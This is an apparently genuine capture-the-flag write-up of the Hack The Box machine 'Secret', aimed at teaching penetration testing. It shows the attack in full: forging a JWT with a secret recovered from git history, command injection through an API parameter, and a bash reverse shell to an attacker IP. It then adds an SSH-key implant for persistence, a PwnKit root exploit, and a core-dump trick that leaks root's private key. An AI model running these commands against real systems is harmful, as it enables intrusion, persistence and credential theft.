Secret
Enumeration
Nmap
First, let's scan for open ports using nmap. We can quickly scan for open ports and store them in a variable: ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.120 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//). Then, we can scan those specific ports in depth by running nmap's built-in scripts: nmap -p$ports -sC -sV 10.10.11.120.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
| 256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_ 256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: DUMB Docs
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp open http Node.js (Express middleware)
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelNginx (DUMB Docs)
Clicking "Download Source Code" on the main page downloads a files.zip containing a Node.js Express application. Clicking on any of the 6 sections highlighted on the main page links to some documentation for the downloaded/running application.
We copy the documentation and run the following to create a user:
Output: {"user":"dan1977"}
Let's sign in with the user we just created:
Output: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjBkZDU4NzIwMWExZDA0NWQyMGU5YTQiLCJuYW1lIjoiZGFuMTk3NyIsImVtYWlsIjoiZGFuQGdvb2dsZS5jb20iLCJpYXQiOjE2NDUwNzM4MzF9.hlZPd6A33IjeRfBx8Qh_WNgI1y5-8R9FIoZbfg7Bd5g
The documentation says we can use this auth token to access /api/priv and see our account type.
Output: {"role":{"role":"you are normal user","desc":"dan1977"}}
Source Code
Let's explore the source code we downloaded and extracted from files.zip.
If we look in the local-web/routes/private.js file, we see this function:
So, if we are able to get access to the account with username theadmin we can use the /api/logs endpoint to perform a command injection. Performing a GET request to /api/logs will use node.js's exec to run git log --oneline [OUR INPUT]. Therefore, we can send a request to http://10.10.11.120/api/logs?file=.;[OUR COMMAND] to run arbitrary commands.
The aforementioned /api/logs endpoint uses the verifytoken function from local-web/routes/verifytoken.js:
So, the username is contained in a JWT. Therefore, we need to find out the value of the process.env.TOKEN_SECRET so we can modify the username and change it to theadmin.
Git Repository
The folder we downloaded with the code is also a git repo (there is a .git folder). We can run git log to see what commits have been made:
Commit 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78 has the message message removed .env for security reasons, which is interesting since the .env file looks like this:
This old commit might have the TOKEN_SECRET, which would enable us to sign a modified JWT and change our username to theadmin.
Try git checkout de0a46b5107a2f4d26e348303e76d85ae4870934 (which is the commit right before the .env file was removed).
Now, the .env file contains the TOKEN_SECRET:
So, now we can sign the JWT with the name field changed to theadmin.
Foothold
We can use JWT.io to get a new token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjBkZDU4NzIwMWExZDA0NWQyMGU5YTQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImRhbkBnb29nbGUuY29tIiwiaWF0IjoxNjQ1MDczODMxfQ.OcsMCcyhgjPB36m6enq6lSGzbRD82z9Hn5OdrBFJ8Rc.
Now, let's see if we are admin with curl http://10.10.11.120/api/priv --header "auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjBkZDU4NzIwMWExZDA0NWQyMGU5YTQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImRhbkBnb29nbGUuY29tIiwiaWF0IjoxNjQ1MDczODMxfQ.OcsMCcyhgjPB36m6enq6lSGzbRD82z9Hn5OdrBFJ8Rc", which returns {"creds":{"role":"admin","username":"theadmin","desc":"welcome back admin"}}. So, we are now admin.
Let's try out the command injection we found with the /api/logs endpoint: curl --header "auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjBkZDU4NzIwMWExZDA0NWQyMGU5YTQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImRhbkBnb29nbGUuY29tIiwiaWF0IjoxNjQ1MDczODMxfQ.OcsMCcyhgjPB36m6enq6lSGzbRD82z9Hn5OdrBFJ8Rc" "http://10.10.11.120/api/logs?file=;whoami" returns "80bf34c fixed typos 🎉\n0c75212 now we can view logs from server 😃\nab3e953 Added the codes\ndasith\n".
The dasith is the output of our whoami command, so it looks like everything worked as expected.
We can get user.txt flag with curl --header "auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjBkZDU4NzIwMWExZDA0NWQyMGU5YTQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImRhbkBnb29nbGUuY29tIiwiaWF0IjoxNjQ1MDczODMxfQ.OcsMCcyhgjPB36m6enq6lSGzbRD82z9Hn5OdrBFJ8Rc" "http://10.10.11.120/api/logs?file=.;cat%20../user.txt" (the %20 is a URL encoded space).
Let's get a reverse shell. We can use the standard bash reverse shell: bash -c 'bash -i >& /dev/tcp/10.10.14.55/48253 0>&1'. Let's also organize our curl command using --data-urlencode, which will automatically take care of the spaces in our payload. We must also specify -G so that curl knows to make a GET request. We can start a listener with pwncat-cs -lp 48253. Then we can run the final exploit command, which is is curl -G --header "auth-token:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MjBkZDU4NzIwMWExZDA0NWQyMGU5YTQiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6ImRhbkBnb29nbGUuY29tIiwiaWF0IjoxNjQ1MDczODMxfQ.OcsMCcyhgjPB36m6enq6lSGzbRD82z9Hn5OdrBFJ8Rc" "http://10.10.11.120/api/logs" --data-urlencode "file=;bash -c 'bash -i >& /dev/tcp/10.10.14.55/48253 0>&1'".
This command pops the shell and the command will eventually return this output {"killed":false,"code":1,"signal":null,"cmd":"git log --oneline ;bash -c 'bash -i >& /dev/tcp/10.10.14.55/48253 0>&1'"}, but the reverse shell will stay active.
Lateral Movement
Then, we can get persistance with pwncat by running run implant.authorized_key key=/home/kali/.ssh/id_rsa. Now, we should be able to reconnect with pwncat-cs [email protected] --identity /home/kali/.ssh/id_rsa, but this doesn't work. I set the permissions of the .ssh folder to be what they should be with chmod 700 .ssh && chmod 600 .ssh/authorized_keys, which fixed the issue.
Upload LinPEAS with upload linpeas.sh then run with bash linpeas.sh.
LinPEAS immediately tells us that the version of sudo installed is vulnerable to CVE-2021-4034 and CVE-2021-3560. For more information about these exploits see my Paper and Horizontall writeups. Let's try CVE-2021-4034. CVE-2021-4034 is a very recent exploit (disclosed to public on January 25th, 2022). Downloading berdav/CVE-2021-4034 as a ZIP file, copying the file over, unzipping it, running make in the directory, and then executing ./cve-2021-4034 gets us a root shell.
We can now run cat /root/root.txt to get the root flag. However, CVE-2021-4034 was probably not the intended solution since this box was published before that exploit was found.
For fun, let's see if CVE-2021-3560 would also work: The secnigma/CVE-2021-3560-Polkit-Privilege-Esclation repo seems to work the best at the time of writing. Download the script, upload it to the target machine, and then run it like so: ./poc.sh -u=john -p=john. This fails with the error Accounts service and Gnome-Control-Center NOT found!!, so it looks like CVE-2021-3560 won't work.
Privilege Escalation
Now, on to the expected exploit. Looking over the LinPEAS output, the SUID section shows the following:
/opt/count is a SUID binary that is not normal on linux machines. This is almost certainly our privilege escalation vector.
If we investigated /opt we find a code.c file with the source code to the count SUID binary:
We run cat /proc/sys/fs/suid_dumpable to get 2, which means SUID binaries can create core dumps. We can load the /root/root.txt file in memory and then purposely crash the program to create a coredump of the program's memory, which will have the loaded root.txt flag in it. Searching for how to crash the program and cause a coredump finds this StackOverflow answer, but we need to use SIGSEGV to cause an actual crash not just the quit command.
This Unix StackExchange answer describes the vulnerability: "The core dump contains a copy of everything which was in memory at the time of the fault. If the program is running suid, that means it needs access to something which you, as a user, do not have access to. If the program gets that information then dumps core, you'll be able to read that privileged information."
So, we will run the program, enter the path to root.txt to load it into the program's memory, then we will kill the program, and then return to the program to cause the core dump.
We see that this is an Ubnutu machine with cat /etc/issue* and searching online for where coredumps are in Ubuntu finds this Ubuntu StackExchange answer. So, they are in /var/crash/. This Ubuntu StackExchange answer says that Apport handles the coredumps. Going to the offical Apport page on Ubuntu's wiki mentions several tools including apport-unpack, which is "most useful for extracting the core dump," which is what we want to do. We can extract the coredump with apport-unpack _opt_count.1000.crash /tmp/crash-report.
Now, the CoreDump file at /tmp/crash-report/CoreDump is a binary file so trying to view it with cat doesn't work well. We can instead use the string command so view the strings within it since the contents of /root/root.txt should be in there. We can get the root.txt flag in one command with strings CoreDump | grep -e "[0-9a-f]\{32\}". This pipes the strings from CoreDump into grep, which searches for a regular expression that matches MD5 hashes (regex from this StackOverflow answer).
To get a root shell we can use the same technique to view the /root/.ssh/id_rsa file, which will be root's SSH private key.
Unpack with apport-unpack /var/crash/_opt_count.1000.crash /tmp/crash-report2 and find the private key with strings /tmp/crash-report2/CoreDump | grep -A 40 "BEGIN OPENSSH PRIVATE KEY". -A 40 gets 40 lines after the matched text.
Use nano secret_root_key and paste in the private key. Set the permissions for the key so that SSH will accept it: chmod 600 secret_root_key. Then, get a root SSH shell with ssh [email protected] -i secret_root_key.
Last updated
Was this helpful?